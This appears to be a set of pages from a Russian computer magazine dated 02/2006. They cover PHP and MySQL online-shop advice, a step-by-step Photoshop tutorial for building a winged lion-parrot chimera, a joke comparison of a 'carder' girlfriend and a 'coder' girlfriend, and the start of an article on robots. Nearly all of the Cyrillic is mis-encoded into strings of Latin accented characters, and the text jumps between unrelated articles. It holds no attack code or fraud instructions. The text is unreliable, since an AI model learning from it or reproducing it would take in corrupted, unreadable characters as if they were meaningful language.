ËÆÍÀ ËÀ ÓÄÎÁÍÎÉ, ÎÍÀ ÄÎË ×ÒÎÁÛ ÑÑÛËÊÀ ÁÛË ÒÛÐÅÕ ÑËÎÂ. ËÅÅ ×ÅÌ ÈÇ ×ÅÒ ßÒÜ ÍÅ ÁÎË ÒÎß ÑÎÑÒ

Í

å ñåêðåò, ÷òî óâàæàþùèé ñåáÿ èíòåðíåò-ìàãàçèí äîëæåí ñîäåðæàòü ñëåäóþùèå êëþ÷åâûå ýëåìåíòû: êîðçèíó, âûáîð ñïîñîáà äîñòàâêè, ñïîñîáà îïëàòû, ïîèñê ïî ñàéòó, ðåãèñòðàöèÿ ïîëüçîâàòåëåé. Õî÷åòñÿ îòìåòèòü, ÷òî ýòî ëèøü ìèíèìàëüíûå òðåáîâàíèÿ ê ôóíêöèîíàëüíîñòè.  èäåàëå, ãðàìîòíûé web-äèçàéíåð äîëæåí ïðåäóñìîòðåòü ñêðèïò äëÿ çàïîëíåíèÿ ìàãàçèíà äëÿ îïëàòû ÷åðåç èíòåðíåò-êîøåëüêè, îòòî÷èòü äî áëåñêà ðàáîòó ñ áàçîé äàííûõ. Êàê ïðàâèëî, â êà÷åñòâå îñíîâíîãî ÿçûêà web-ïðîãðàììèðîâàíèÿ èñïîëüçóåòñÿ PHP, à â êà÷åñòâå ÑÓÁÄ — MySQL. Íè äëÿ êîãî íå ñåêðåò, ÷òî PHP — ýòî ñêðèïòîâûé server-side ÿçûê ïðîãðàììèðîâàíèÿ, ïðåäíàçíà÷åííûé â îñíîâíîì äëÿ âêëþ÷åíèÿ â html ñòðàíèöó è âûïîëíÿåìûé ñåðâåðîì ïåðåä âûäà÷åé ñòðàíèöû áðàóçåðó. PHP î÷åíü ïîõîæ íà ASP (ñóùåñòâóåò äàæå êîíâåðòîð asp2php), íî ïðèñïîñîáëåí ê *nix-ñèñòåìàì è ÷àùå âñåãî óïîòðåáëÿåòñÿ ñ web-ñåðâåðîì apache, õîòÿ ìîæåò ðàáî-

ËÅÇÅÌ ÂÍÓÒÐÜ

òàòü è ñ MS IIS è ñ ëþáûì äðóãèì web-ñåðâåðîì. Êðîìå òîãî, PHP ÿâëÿåòñÿ îáúåêòíî-îðèåíòèðîâàííûì ÿçûêîì ïðîãðàììèðîâàíèÿ, ÷òî ïîçâîëÿåò ñîçäàòåëþ èíòåðíåò-ìàãàçèíà, íå ïåðåïèñûâàÿ ñêðèïò çàíîâî, äîáàâëÿòü íîâûå ìîäóëè. Íà ìîé âçãëÿä, îñíîâíîå ïðåèìóùåñòâî PHP — ïðîñòîòà, ãèáêîñòü è ñêîðîñòü âûïîëíåíèÿ. Íåñêîëüêî ñëîâ õîòåëîñü áû ñêàçàòü î ôðèâàðíûõ ñêðèïòàõ, ñêèíàõ è ïðî÷èõ ôèøêàõ. Ïðåæäå âñåãî, èìè íå ñòîèò çëîóïîòðåáëÿòü. Âàæíåéøèå ìîäóëè äîëæíû áûòü íàïèñàíû ñàìîñòîÿòåëüíî. Íåëüçÿ äîâåðèòüñÿ êàêîìó-íèáóäü ïîñòîðîííåìó äâèæêó. Âñå õîðîøèå ïðîåêòû ñîçäàþòñÿ ïðàêòè÷åñêè ñ íóëÿ. Êîãäà òû íàïèøåøü äâèæîê, ó òåáÿ áóäåò óæå ïëàöäàðì äëÿ äàëüíåéøèõ äåéñòâèé, òû ñìîæåøü åãî èñïîëüçîâàòü â íîâûõ ïðîåêòàõ, äîïîëíÿòü, èçìåíÿòü. Âåäü ñäåëàòü ñâîé äâèæîê — ãîðàçäî ïðîùå, ÷åì ðàçîáðàòüñÿ â ÷óæîì, è ïîòîì åãî ìîäèôèöèðîâàòü èëè óëó÷øàòü!

THE LAST TO KNOW

Íàïîñëåäîê õîòåëîñü áû ñêàçàòü î òîì, ÷òî äîëæåí çíàòü è ó÷èòûâàòü áóäóùèé ñîçäàòåëü èíòåðíåò-ìàãàçèíà. ×åëîâåêó, êîòîðûé ðåøèë âçÿòüñÿ çà òàêîé ñåðüåçíûé ïðîåêò, íóæíî ïîíèìàòü, ÷òî áåç ñîîòâåòñòâóþùèõ çíàíèé íè÷åãî íå âûéäåò, ïîýòîìó, åñëè òàêîâûõ çíàíèé íåò, ëèáî ïàäàåì äóõîì, ëèáî èäåì èçó÷àòü óìíûå êíèæêè. Åñëè ñîîòâåòñòâóþùèå çíàíèÿ åñòü, òî ñìåëî èõ ïðèìåíÿåì, íå çàáûâàÿ ïðè ýòîì èñïîëüçîâàòü ìèðîâîé è îòå÷åñòâåííûé îáùåäèçàéíåðñêèé îïûò. Òàê ÷òî æå ñòîèò ó÷èòü íîâè÷êó? Íó, êîíå÷íî æå, HTML, êàê áû áàíàëüíî ýòî íå ïðîçâó÷àëî, ïðè÷åì íóæíî ïîñòàðàòüñÿ âåðñòàòü «ðóêàìè», áåç èñïîëüçîâàíèÿ âèçóàëüíûõ ðåäàêòîðîâ. Åùå äèçàéíåðó íå îáîéòèñü áåç çíàíèÿ CSS, òàê êàê ýòî ïîçâîëèò óïðîñòèòü êîä è ïðèäàòü åìó ëåãêîñòü â óïðàâëåíèè. Äàëüøå èçó÷àåì PHP è MySQL. Õî÷åòñÿ äàòü ñîâåò íà÷èíàþùèì: åñëè ó÷èøüñÿ ïî êíèãå, êíèãà äîëæíà áûòü îäíà è õîðîøàÿ, òî ñàìîå ãëàâíîå — íå ðàñïûëÿòüñÿ. Íó è, êîíå÷íî æå, âñåãäà õîðîøèå ïîìîùíèêè — ôîðóìû è çíàþùèå äðóçüÿ. Êîíå÷íî, åñëè òû âûó÷èë ýòè îñíîâû, ýòî íå çíà÷èò, ÷òî òû ñìîæåøü âñå, âåäü çíàíèÿ ãðàôèêè, JavaScript òîæå íåîáõîäèìû.  îáùåì, íåò ïðåäåëà ñîâåðøåíñòâó! Ó÷èòüñÿ, ó÷èòüñÿ è åùå ðàç ó÷èòüñÿ… È íå çàáûâàåì îòäûõàòü, ïîýòîìó ñìàòûâàåì óäî÷êè è èäåì ïèòü ïèâêî. Âîò íà ýòîì ìåñòå è ìîæíî ïîñòàâèòü òî÷êó. Òî÷êà. BINARY YOUR’S z

XÀÊÅÐ 02 /86/ 06

041


ÄÈÇÀÉÍ

çàêîí÷åííûé .psd ôàéë iStock_000000859749 iStock_000000651420 iStock_000000651420 iStock_000000463507

ÑÎÇÄÀÅÌ ÕÈÌÅÐÓ ÊÀÊ ÏÐÅÂÐÀÒÈÒÜ ÎÐËÀ, ÃÎÐÄÓÞ ËÜÂÈÖÓ È ÏÎÏÓÃÀß Â ÌÈÔÈ×ÅÑÊÎÅ ÑÓÙÅÑÒ“ ÂÎ, ÑÎÁÐÀÂØÅÅ Â ÑÅÁÅ ÂÑÅ ÑÀÌÎÅ ÂÀÆÍÎÅ ÎÒÎ ÂÑÅÉ ÝÒÎÉ ÒÐÎÈÖÛ? ÄÎÑÒÀÒÎ×ÍÎ ËÈØÜ ÎÑÂÎÈÒÜÑß Â ÐÀÁÎÒÅ Ñ ÈÍÑÒÐÓÌÅÍÒÎÌ CLONE STAMP È ÐÀÇÎÁÐÀÒÜÑß Ñ ÎÑÍÎÂÀÌÈ ÊÎËËÀÆÀ

Õèìåðû, èëè ãèáðèäû ðàçëè÷íûõ æèâîòíûõ, ïðèøëè èç ñàìûõ äðåâíèõ ïðåäàíèé è ìèôîâ. Çàäîëãî äî ïîÿâëåíèÿ ïåðâîé êîïèè Photoshop’a ó ëþäåé óæå áûëè ãîòîâûå îáðàçöû «ìóòàíòîâ», íàïðèìåð, ãðèôîíû (êðûëàòîå æèâîòíîå ñ òåëîì ëüâà è ãîëîâîé îðëà). Ñþäà æå ìîæíî îòíåñòè ðóñàëîê è ñèðåí — ñóùåñòâ ñ ÷åëîâå÷åñêèìè òåëàìè è ðûáüèìè õâîñòàìè, à òàêæå êåíòàâðîâ, êîòîðûå ðî-

042

äèëèñü â Äðåâíåé Ãðåöèè è ïðåäñòàâëÿëè ñîáîþ ãèáðèä êîíÿ è ÷åëîâåêà.×òî áû íè ïîñëóæèëî âäîõíîâåíèåì, íàâåðíÿêà êàæäîìó íå ðàç ïðèõîäèëî â ãîëîâó, ÷òî ïîëó÷èëîñü áû, åñëè ñêðåñòèòü ðàçíûõ æèâîòíûõ, è êàêèìè áûëè áû èõ îòïðûñêè. Ýòî ìîæíî ëåãêî âûÿñíèòü ïðÿìî ñåé÷àñ! BINARY YOUR’S z

XÀÊÅÐ 02 /86/ 06


TEXT ÑÝÌ ÃÈËÁÈ / WWW.PIXEL-SURGEON.COM / WWW.PERSONALSPACEINVANDERS.CO.UK /

01

ÖÀÐÈÖÀ ÇÂÅÐÅÉ:

Îòêðîåì ôàéë iStock_000000859749.jpg. Èíñòðóìåíòîì Pen <P> îáâåäåì ëüâèöó ïî êîíòóðó. Ëó÷øå âñåãî ñîçäàâàòü òî÷êè òàì, ãäå íàïðàâëåíèå ëèíèè ìåíÿåòñÿ. Öâåò çàëèâêè ñåé÷àñ íå èìååò çíà÷åíèÿ, ïîñêîëüêó ìû ðèñóåì êîíòóð òîëüêî äëÿ òîãî, ÷òîáû îòäåëèòü ëüâèöó îò ôîíà.

02

04 03

ÑÎÇÄÀÅÌ ÂÛÄÅËÅÍÈÅ:

Âûäåëèì ïîëó÷èâøóþñÿ ôîðìó ïðè ïîìîùè èíñòðóìåíòà Direct Selection. Òåïåðü ïåðåéäåì íà ïàíåëü Paths (îáû÷íî îíà íàõîäèòñÿ âî âêëàäêå ðÿäîì ñ ïàíåëüþ Layers, íî åñëè åå òàì íåò, òî âûçîâåì åå âðó÷íóþ: Windows > Paths). Íàæàâ íà ìàëåíüêóþ ÷åðíóþ ñòðåëêó â ïðàâîì âåðõíåì óãëó ýòîé ïàíåëè, âûáåðåì ïóíêò Make Selection. Îñòàâèì Feathering ðàâíûì 0, à îïöèþ Anti-Aliased — âêëþ÷åííîé. Íàæìåì íà ÎÊ.

XÀÊÅÐ 02 /86/ 06

ÏÐÎÐÀÁÀÒÛÂÀÅÌ ÊÎÍÒÓÐÛ:

Òåïåðü ââåðõó ïàíåëè Layers îòìåòèì íåïðîçðà÷íîñòü ñëîÿ ñ êîíòóðîì — 40%, äëÿ äàëüíåéøèõ äåéñòâèé íåîáõîäèìî âèäåòü íå òîëüêî ñàì êîíòóð, íî è èçîáðàæåíèå ïîä íèì. Âåðíåìñÿ ê ïàíåëè èíñòðóìåíòîâ è, óäåðæèâàÿ ëåâóþ êíîïêó ìûøè íà èíñòðóìåíòå Pen, îòêðîåì ñïèñîê äîñòóïíûõ íà ýòîé êíîïêå èíñòðóìåíòîâ. Ñàìûì ïîñëåäíèì èíñòðóìåíòîì â ñïèñêå áóäåò «óãîëîê» Convert Point. Ñ ïîìîùüþ ýòîãî èíñòðóìåíòà ìîæíî èçîãíóòü íàøè ëîìàíûå ëèíèè è çàñòàâèòü èõ ïîâòîðÿòü êîíòóðû òåëà. Êðîìå òîãî, áóäåì èñïîëüçîâàòü Add Anchor Point, ÷òîáû äîáàâëÿòü íîâûå òî÷êè, à èíñòðóìåíòîì Direct Selection (îí íàõîäèòñÿ íà òîé æå êíîïêå, ÷òî è Path Selection) ïåðåìåñòèì óæå ñóùåñòâóþùèå.

ÊÐÀÑÍÛÅ ÄÆÓÍÃËÈ:

Ñêðîåì ñëîé ñ íàøèìè êðèâûìè (îí íàì áîëüøå íå íóæåí), êëèêíóâ íà ïàíåëè Layers íà èêîíêó ñ ãëàçîì ñëåâà îò ñëîÿ. Ñäåëàâ ñëîé ñ ôîòîãðàôèåé àêòèâíûì, âûáåðåì Edit > Copy, à çàòåì Edit > Paste. Ëüâèöà áåç ôîíà ïîÿâèëàñü â íîâîì ñëîå. Äåëàåì àêòèâíûì ñëîé ñ èñõîäíûì ôîòî è, âûáðàâ íà ïàíåëè èíñòðóìåíòîâ âåðõíèì, íàïðèìåð, ÿðêèé êðàñíûé öâåò, íàæèìàåì <Alt>+<Backspace>. Òåïåðü íàøà ëüâèöà íàõîäèòñÿ íà ÿðêîì ôîíå, è ìû ìîæåì óâèäåòü âñå íåäî÷åòû ïðåäûäóùåé ðàáîòû. Ñîõðàíèëè ôàéë â ôîðìàòå psd.

05

ÎÁÐÀÇÖÎÂÀß ØÊÓÐÊÀ:

Ïîñëå òîãî êàê ìû ñäåëàëè ÿðêèé ôîí, ìîæåò îêàçàòüñÿ, ÷òî ïðè âûäåëåíèè ìû âñå-òàêè íåìíîãî çàõâàòèëè ó÷àñòêè ôîíà èñõîäíîãî ôîòî. Ýòî ëåãêî èñïðàâëÿåòñÿ èíñòðóìåíòîì Eraser ñ ïðàâèëüíî ïîäîáðàííûìè íàñòðîéêàìè êèñòè (Size, Opacity è ñòåïåíü ðàçìûòîñòè). Íà íèæíåé ÷àñòè ðèñóíêà îñòàëîñü íåìíîãî òðàâû, ïîïàâøåé â ïðåäåëû êîíòóðà. Èíñòðóìåíòîì Clone Stamp, êèñòüþ ñ ðàçìûòûìè êðàÿìè è Opacity 50% çàêðàñèì ýòè ó÷àñòêè øêóðîé ëüâèöû, âûáðàâ îáðàçåö øåðñòè è êëèêíóâ ïî íåìó, óäåðæèâàÿ <Alt>.

043


ÄÈÇÀÉÍ ///// ISSUE

06

08

ÎÊÐÛËÅÍÍÀß ÕÈÙÍÈÖÀ:

Îòêðîåì ôàéë iStock_000000651420.jpg è îáâåäåì áëèæàéøåå êðûëî, èñïîëüçóÿ òå æå èíñòðóìåíòû, êîòîðûìè ìû ïîëüçîâàëèñü â øàãàõ 1 è 2. Ïðåîáðàçîâàâ êîíòóð â âûäåëåíèå, ñêîïèðóåì êðûëî è âñòàâèì åãî â ôàéë ñ ëüâèöåé. ×òîáû îíî ïîìåñòèëîñü â íóæíîå íàì ìåñòî êîëëàæà, óâåëè÷èì âûñîòó êàðòèíêè äî 1500 px, âûáðàâ â ìåíþ Image > Canvas size. Ïðè ïîìîùè Transform ðàçâåðíåì ëüâèöó, êàê ïîêàçàíî íà ðèñóíêå.

07

10

09

ÁÓÄÓÙÀß ÒÅÊÑÒÓÐÀ:

Òåïåðü àêêóðàòíî îòäåëèì òåëî ïîïóãàÿ îò ãîëîâû, èñïîëüçóÿ èíñòðóìåíò Polygonal Lasso. Âûðåæåì åãî è çàòåì âñòàâèì â íîâûé ñëîé, ïîñëå ÷åãî ïîäâèíåì èíñòðóìåíòîì Move. Î÷åíü ñêîðî ýòîò ôðàãìåíò ïîíàäîáèòñÿ íàì â êà÷åñòâå èñòî÷íèêà òåêñòóð, ïîýòîìó íå áóäåì åãî óäàëÿòü.

12

ÁÐÞÊÈ ÏÐÅÂÐÀÙÀÞÒÑß…

Îòêðîåì iStock_000000463507.jpg è âûäåëèì íîãó ñ êîãòÿìè. Âñòàâèì åå â íàø ðèñóíîê íàä ñëîåì ñ òåëîì è óìåíüøèì òàê, ÷òîáû îíà êàçàëàñü ìàëîâàòîé äëÿ ëüâèíîé ëàïû. Òåïåðü, èñïîëüçóÿ Eraser, ñîòðåì ñíèçó ÷àñòü ëàïû ïîä ðàçìåð êîãòåé. Âåðíåìñÿ ê ñëîþ ñ òåëîì ïîïóãàÿ è «îäîëæèì» ó íåãî íåìíîæêî ïåðüåâ ïðè ïîìîùè Clone Stamp, êîòîðûå ïåðåíåñåì íà íîãè.  íîâîì ñëîå èíñòðóìåíòîì Brush íàðèñóåì ëåãêèå òåíè, êàê ïîêàçàíî íà ðèñóíêå.

ÄÎÁÀÂÈÌ ÐÅÇÊÎÑÒÈ:

Äîáàâëåííîìó â ðèñóíîê êðûëó ÿâíî íå õâàòàåò ðåçêîñòè. Âîñïîëüçóåìñÿ ôèëüòðîì: Filter > Sharpen > Unsharp mask ñ ïàðàìåòðàìè Amount — 50% è Radius — 3.9 px (Threshold îñòàâèì íà íóëå). Íàæìåì íà ÎÊ.

ÐÀÇÍÎÖÂÅÒÍÀß ÁÅÑÒÈß:

Òåïåðü ñäåëàåì àêòèâíûì ñëîé ñ ëüâèöåé è âûáåðåì Layer > Layer Style > Gradient Overlay. Âûáåðåì â âûïàäàþùåì ìåíþ Blend Mode òèï íàëîæåíèÿ Color, ÷òîáû ðàñêðàñèòü øåðñòü â ÿðêèå öâåòà ïîïóãàÿ. Òåïåðü êëèêíåì ïî öâåòîâîìó ïåðåõîäó Gradient è ïîäáåðåì öâåò ãðàäèåíòà. Êëèêíåì íà íèæíèé äâèæîê ñëåâà, ïî êâàäðàòèêó Color è ïîñëå ïîÿâëåíèÿ äèàëîãîâîãî îêíà ïàëèòðû ïî îïåðåíüþ íà øåå ïîïóãàÿ íà íàøåì ðèñóíêå. Âòîðîé öâåò ìîæåò áûòü ëþáûì, ìû ñäåëàëè åãî æåëòî-çåëåíûì.

13

ÏÅÐÍÀÒÀß ÌÀÑÊÀ:

Êàê è â ñëó÷àå ñ âûðåçàííîé ëüâèöåé, ïîðàáîòàåì Eraser, ÷òîáû ïîäïðàâèòü êðàÿ êðûëà, è Clone Stamp, ÷òîáû èñïðàâèòü äåôåêò â âåðõíåé ïðàâîé ÷àñòè. Òåïåðü îòêðîåì iStock_000000651420.jpg, âûäåëèì ãîëîâó è òåëî ïòèöû, èñïîëüçóÿ èíñòðóìåíò Rectangular Marquee, ñêîïèðóåì èõ è âñòàâèì â íàø ðèñóíîê. Ñäåëàåì íîâûé ñëîé ïîëóïðîçðà÷íûì è íà÷íåì ïîâîðà÷èâàòü ïîïóãàÿ ïðîòèâ ÷àñîâîé ñòðåëêè ïðè ïîìîùè Transform, ÷òîáû åãî ãîëîâà òî÷íî «ïðèøëàñü â ïîðó» ê òåëó ëüâèöû.

ÔÀÍÒÀÑÒÈ×ÅÑÊÈÅ ÊÐÛËÜß:

Ïðèìåíèì ê ñëîþ ñ êðûëüÿìè Gradient Overlay, êàê ìû ýòî äåëàëè â øàãå 10. Íà ýòîò ðàç íàì íóæíî âåðòèêàëüíîå íàïðàâëåíèå ãðàäèåíòà, ïåðåõîäÿùåãî èç öâåòà òåëà ó îñíîâàíèÿ êðûëüå â â êàêîé-íèáóäü äðóãîé ÿðêèé öâåò íà èõ êîí÷èêàõ. Ïîñêîëüêó êðûëüÿ èçíà÷àëüíî òåìíåå òóëîâèùà, âîñïîëüçóåìñÿ Color Overlay èç ýòîãî æå ìåíþ, îòìåòèâ â íàñòðîéêàõ áåëûé öâåò, Blend Mode — Normal, Opacity — 8%.

11

ÅÙÅ ÍÅÌÍÎÃÎ ÏÅÐÜÅÂ:

Ñäåëàåì àêòèâíûì ñëîé ñ òåëîì ïîïóãàÿ. Èñïîëüçóÿ Clone Stamp, ïåðåíåñåì íåñêîëüêî ìåëêèõ ïåðüåâ ñ âåðõíåé ÷àñòè êðûëà íà ïëå÷î íàøåãî ìîíñòðà. Äëÿ òîãî ÷òîáû ýôôåêò íå ðåçàë ãëàç, îòìåòèì äîñòàòî÷íî íèçêîå çíà÷åíèå Opacity. Ïîä êîíåö ïîðàáîòàåì ëàñòèêîì òàì, ãäå ýòî íóæíî, òàêæå ñ äîñòàòî÷íî íåáîëüøèì çíà÷åíèåì Transparency.

14

ÍÅÊÎØÀ×ÜÈ ÊÎÃÎÒÊÈ:

Òåïåðü íóæíî äîáàâèòü êîãòè íà îñòàëüíûå ëàïû è ïðàâîå êðûëî. Èñïîëüçóÿ òå æå ïðèåìû, áóäåò íåñëîæíî äîáàâèòü âñå ýòè äåòàëè è ïðèâåñòè èõ ê åäèíîìó âèäó. Âîçüìåì íåìíîãî øåðñòè ñ ïåðåäíèõ ëàï, ÷òîáû ÷åò÷å îáîçíà÷èòü íåðåçêèå êðàÿ çàäíèõ, ïîñëå ÷åãî âîñïîëüçóåìñÿ èíñòðóìåíòîì Burn ñ íèçêèì çíà÷åíèåì Exposure, ÷òîáû áðîñèòü òåíü íà ïðàâóþ çàäíþþ ëàïó.

ÄÎÏÎËÍÈÒÅËÜÍÛÅ ÂÎÇÌÎÆÍÎÑÒÈ Âî âðåìÿ ýêñïåðèìåíòîâ ñ êðûëüÿìè, íîãàìè è õâîñòàìè ïðèãîòîâèìñÿ ê òîìó, ÷òî íàì ïðèäåòñÿ ÷àñòî ìåíÿòü öâåòà. Ñàìûé ïðîñòîé è ïðèâû÷íûé ñïîñîá — âîñïîëüçîâàòüñÿ èíñòðóìåíòàìè êîððåêöèè öâåòà, íàõîäÿùèìèñÿ â ìåíþ Image > Adjustment. Îäíàêî Layer Styles äàåò íåñðàâíåííî áîëüøóþ ñâîáîäó äåéñòâèé. Èçìåíåíèÿ, ñäåëàííûå ïîñðåäñòâîì Hue/Saturation èëè, ñêàæåì, Brightness And Contrast, êîíå÷íî, ñîõðàíÿþòñÿ â History, íî èõ íåëüçÿ îòìåíèòü, íå óíè÷òîæèâ ïîëîâèíû ïðîäåëàííîé ðàáîòû ïîñëå èõ ïðèìåíåíèÿ. È åñëè ÷åðåç íåñêîëüêî øàãîâ ïîíèìàåøü, ÷òî âñå-òàêè ïðîèçîøåë «ïåðåáîð», òî ïðèäåòñÿ âîçâðàùàòüñÿ íàçàä è äåëàòü âñå çàíîâî. Ïîýòîìó ãîðàçäî ïðîùå èñïîëüçîâàòü Layer Styles, ïîñêîëüêó èõ ýôôåêòû ñîõðàíÿþòñÿ îòäåëüíî äëÿ êàæäîãî ñëîÿ è ìîãóò áûòü èçìåíåíû â ëþáîå âðåìÿ. Òàê ïî÷åìó æå, åñëè ýòà âîçìîæíîñòü äàåò ãîðàçäî áîëüøå ñâîáîäû, íå âîñïîëüçîâàòüñÿ åþ?

044

XÀÊÅÐ 02 /86/ 06


16 15

ÏÎÐÀ Â ÏÎËÅÒ:

Îòêðîåì iStock_000000808048.jpg, ñêîïèðóåì èçîáðàæåííîå â íåì íåáî è âñòàâèì åãî íà çàäíèé ïëàí. Òåïåðü óìåíüøèì êàðòèíêó, ÷òîáû îíà ñîâïàäàëà ïî ðàçìåðó ñ íàøèì ðèñóíêîì. ×òîáû íåìíîãî ïðèãëóøèòü öâåòà, ïðèìåíèì ê íåáó Gradient Overlay ñ ãëóáîêèìè ñèíèìè òîíàìè.

ÂÎÒ ÒÀÊ ×ÓÄÎ!

Ñäåëàåì êîïèè êàæäîãî ñëîÿ ñ ÷àñòÿìè íàøåé õèìåðû (<Ctrl>+<J>) è íåìíîãî ðàçìîåì èõ ïðè ïîìîùè Motion blur. Âîñïîëüçîâàâøèñü ïðàêòè÷åñêè ïðîçðà÷íûì ëàñòèêîì, íà íåêîòîðûõ ôðàãìåíòàõ íåìíîãî ïîäîòðåì ýòîò ýôôåêò. Òåïåðü ñêðåïèì âñå ñëîè, êðîìå ôîíà, ñêðåïêîé è ðàçâåðíåì èõ ïî ÷àñîâîé ñòðåëêå, íåìíîãî óìåíüøèâ ïðè ïîìîùè Transform. Îòðåæåì õâîñò è ðàñïîëîæèì åãî òàê, ÷òîáû îí â ïîëåòå ðàçâèâàëñÿ. Ñêëåèì âñå ñëîè â íîâîì, ðàçìîåì èõ Gaussian Blur ñ ðàäèóñîì 1 px è óìåíüøèì íåïðîçðà÷íîñòü íîâîãî ñëîÿ äî 50%.

ÑÎÇÄÀÍÈÅ ÑÎÁÑÒÂÅÍÍÎÉ ÁÈÁËÈÎÒÅÊÈ ÒÅÊÑÒÓÐ ×àñòî, ïðåæäå ÷åì íà÷èíàåòñÿ ðàáîòà ïî ñîçäàíèþ êîìïüþòåðíîãî êîëëàæà, åé ïðåäøåñòâóåò íàðèñîâàííûé îò ðóêè ýñêèç. Íî ìîæåò áûòü è íàîáîðîò: öèôðîâîé ìîíòàæ áóäåò ýñêèçîì äëÿ áóäóùåãî ðèñóíêà, ñäåëàííîãî êðàñêàìè è íà õîëñòå. Ó òàêîãî ïîäõîäà åñòü ñâîè ïðåèìóùåñòâà, ïîñêîëüêó âîîáðàæåíèå íå îãðàíè÷åíî íèêàêèìè ìàòåðèàëàìè è òåêñòóðàìè, à ñîçäàííûõ ìèôè÷åñêèõ ñóùåñòâ ìîæíî áóäåò ïîìåùàòü â íàñòîëüêî æå ñþððåàëèñòè÷íûå ïåéçàæè. Èñõîäíàÿ ôîòîãðàôèÿ ïîìîæåò îïðåäåëèòüñÿ ñî ñâåòîòåíüþ, ïðîïîðöèÿìè è êîìïîçèöèåé, ïîñëå ÷åãî ìîæíî äàòü ïîëíóþ ñâîáîäó ñâîåìó âîîáðàæåíèþ. Ìíîãèõ çàìå÷àòåëüíûõ õóäîæíèêîâ, ñîçäàþùèõ ïîäîáíûå ðàáîòû, ìîæíî íàéòè íà Imaginary Friends Studio (www.imaginaryfs.com), îäíàêî ïðåæäå âñåãî ñòîèò âçãëÿíóòü íà ðàáîòû Øîíà Éå. Åãî íåïîâòîðèìûå ãèáðèäû æèâîòíûõ è ëþäåé ìîæíî âîñïðèíèìàòü êàê åùå îäèí àðãóìåíò â ïîëüçó ïåðñïåêòèâíîñòè ãåííîé èíæåíåðèè è êëîíèðîâàíèÿ.


ÕÀÊÅÐ ÑÐÀÂÍÈÂÀÅÒ ///// ISSUE

ÈÐÅÍ ÄÅÂÓØÊÀ ÊÀÐÄÅÐÀ

1 2 3 4 5 6 7

ÎÍÀ — ÈÄÅÀË. ÍÓ, ÎÍÀ ÒÀÊ Ñ×ÈÒÀÅÒ. ÂÛÑÀÑÛÂÀÅÒ ÄÅÍÜÃÈ ÈÇ ÑÂÎÅÃÎ ÏÀÐÍß. ÓÏÐÀÂËßÅÒ PEUGEOT 307. ÌÅ×ÒÀÅÒ Î ÍÎÂÅÍÜÊÎÉ BMW M3. ÅÆÅÄÍÅÂÍÎ ÂÑÊÐÛÂÀÅÒ ÌÎÇà ÑÂÎÅÌÓ ÏÀÐÍÞ. ÞÁÊÀ — DOLCE & GABBANA, ÒÓÔËÈ — ARMANI. ÌÀÉÊÀ ÈÇ ÄÅÍÅà — ÄÎÐÎÃÎ. ÊÎÌÏÜÞÒÅÐ. ÍÀÕÐÅÍÀ ÎÍ ÅÉ?


ÔÐÎÑß ÄÅÂÓØÊÀ ÊÎÄÅÐÀ

1 2 3 4 5 6 7

ÍÅÑ×ÀÑÒÜÅ — ËÞÁÈÒ ÏÐÎÃÐÀÌÌÈÑÒÀ. ÎÒÄÀÅÒ ÇÀÐÏËÀÒÓ ÏÀÐÍÞ. YEAH! ØÂÀÁÐÀ FOREVER! ÌÀØÈÍÀ. ÄÀ, ÑÒÈÐÀËÜÍÀß. ÑÚÅÇÆÀÅÒ ÊÐÛØÀ. ÓÆÅ ÑÊÎÐÎ. Ó×ÈÒÑß ÞÇÀÒÜ DEBUGER. ÄÆÈÍÑÛ — ÌÓÆÀ. ÐÓÁÀØÊÀ — ÌÀÌÛ. ØÂÀÁÐÀ — ÐÎÄÍÀß. ÊÎÌÏÜÞÒÅÐ. ÍÀÕÐÅÍÀ ÎÍ ÅÉ?


ÈÌÏËÀÍÒ ÈÌÏËÀÍÒ ///// ISSUE

TEXT ÞÐÈÉ ÑÂÈÄÈÍÅÍÊÎ / METAMORPH@YANDEX.RU /

ÂÛ ÐÎÁÎÒ? ÐÎÁÎÒÛ, Î ÊÎÒÎÐÛÕ ÒÛ ÅÙÅ ÍÅ ÑËÛØÀË

ÒÅÁÅ, ÄÓÌÀÞ, ÍÅ ÍÀÄÎ ÎÁÚßÑÍßÒÜ, ×ÒÎ ÒÀÊÎÅ ÐÎÁÎÒ. ÒÛ ÍÀÂÅÐÍßÊÀ ÑÌÎÒÐÅË “ ÌÀÑÑÓ ÔÈËÜÌÎÂ È ×ÈÒÀË ÄÎÑÒÀÒÎ×ÍÎ ÊÍÈÃ, ×ÒÎÁÛ ÑÀÌÎ ÝÒÎ ÑËÎÂÎ ÏÐÎ×ÍÎ ÂÎØËÎ Â ÒÂÎÉ ËÅÊÑÈÊÎÍ. ÄÀÂÀÉ ÏÎÃÎÂÎÐÈÌ Î ÒÅÕ ÐÎÁÎÒÀÕ, ÊÎÒÎÐÛÅ È ÍÅ ÐÎÁÎÒÛ ÑÎÂÑÅÌ. ÒÎ ÅÑÒÜ ÝÒÎ ÐÎÁÎÒÛ, ÍÎ ÅÑËÈ ÁÛ ÒÅÁÅ ÏÎÊÀÇÀËÈ ÎÄÍÎÃÎ ÈÇ

ÍÈÕ È ÑÏÐÎÑÈËÈ, ×ÒÎ ÝÒÎ ÒÀÊÎÅ, ÒÎ ÒÛ ÁÛ ÒÎ×ÍÎ ÍÅ ÍÀÇÂÀË ÝÒÎ ÐÎÁÎÒÎÌ Â ïîíèìàíèè òâîèõ ðîäèòåëåé ðîáîò — ýòî òàêîé ìåòàëëè÷åñêèé ÷åëîâåê, êîòîðûé ãîâîðèò ñêðèïó÷èì ãîëîñîì è ïîñòîÿííî çàñîâûâàåò ïàëüöû â ðîçåòêó, ÷òîáû ïîäçàðÿäèòüñÿ. Äðóçüÿ ïîñòàðøå ÷åòêî àññîöèèðóþò ðîáîòà ëèáî ñ ðîáîòîì Âåðòåðîì, ëèáî ñ òåðìèíàòîðîì Øâàðöíåããåðà. À òâîè ñâåðñòíèêè ïîä ñëîâîì «ðîáîò» ìîãóò äàæå ïðåäñòàâëÿòü ñïàììåðáîòà, êîòîðîãî ïðåäñòàâèòü âæèâóþ òðóäíîâàòî.

